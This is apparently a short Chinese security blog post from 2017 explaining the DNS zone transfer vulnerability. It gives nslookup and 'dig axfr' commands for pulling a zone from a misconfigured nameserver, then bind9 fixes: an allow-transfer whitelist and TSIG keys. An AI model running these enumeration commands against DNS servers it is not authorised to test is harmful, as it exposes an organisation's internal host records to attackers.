DNS域傳送漏洞

信安之路發表於2017-10-26
 

DNS區域傳送(DNS zone transfer)指的是一臺備用伺服器使用來自主伺服器的資料重新整理自己的域(zone)資料庫,目的是為了做冗餘備份,防止主伺服器出現故障時 dns 解析不可用。然而主伺服器對來請求的備用伺服器未作訪問控制,驗證身份就做出相應故而出現這個漏洞。

如何利用

windows 利用方式:

nslookup

server=ns.vul.com

ls vul.com

 

Linux 利用方式:

dig axfr @ns.vul.com vul.com

 

wooyun 例項:

 

1.webp.jpg

如何修復(以 bind9 為例):

修改 dns 伺服器的配置,設定允許域傳送伺服器的白名單。

 

EXP:針對 bind 的伺服器,可以編輯 /etc/named.conf 檔案,設定 allow-transfer 項的引數。

 

2.webp.jpg

 

TSIG key 生成與配置:

 

工具:dnssec-keygen

 

3.webp.jpg

歡迎加群與我們一起交流

圖片描述

相關文章